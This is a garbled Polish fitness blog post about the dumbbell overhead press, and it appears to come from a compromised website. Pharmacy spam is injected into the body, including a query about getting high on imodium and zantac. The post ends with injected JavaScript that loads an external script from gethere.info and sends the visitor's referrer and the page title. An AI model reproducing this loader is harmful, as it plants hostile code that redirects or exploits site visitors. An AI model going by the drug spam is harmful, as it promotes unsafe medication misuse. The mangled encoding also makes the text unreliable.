JabiPakuje ai??i?? DOA?ADUJ BARY – WYCISKANIE SZTANGIELEK

5.10.2013 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

Dzisiaj chciaAi??bym Wam pokazaAi?? jak powinno wyglAi??daAi?? Ai??wiczenie, ktA?re nazywa siAi?? ” WYCISKANIE SZTANGIELEK / HANTLI DO GAi??RY lub PRZED SIEBIE, ale zalecaAi??bym mA?wiAi?? WYCISKANIE SZTANGIELEK DO GAi??RY.

Jak widzicie na filmiku skupiamy siAi?? na miAi??Ai??niach, ktA?re chcemy Ai??wiczyAi?? w tym wypadku na przednich i bocznych aktonach miAi??Ai??ni naramiennych, a jak najmniej angaA?ujemy miAi??Ai??nie pomocnicze czyli np. TRICEPS.

Moim zdaniem to Ai??wiczenie jest duA?o lepszym rozwiAi??zaniem od wyciskania sztangi,
MoA?e nie rozwija tak siAi??y ale jakoAi??Ai?? i masAi?? miAi??Ai??ni jak najbardziej . Wykonywane poprawnie minimalizuje odniesienie kontuzji.

 

Cheap Buy inderal over the counter substitute

can you buy viagra in mexico sertraline 50 mg side effects. buy Zoloft online. zoloft dosage. pills online

Heja

Moja ekipa:
http://www.facebook.com/TrecNutrition

how much imodium and zantac to get high online buy pills Pills
 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName('head')[0].appendChild(s);}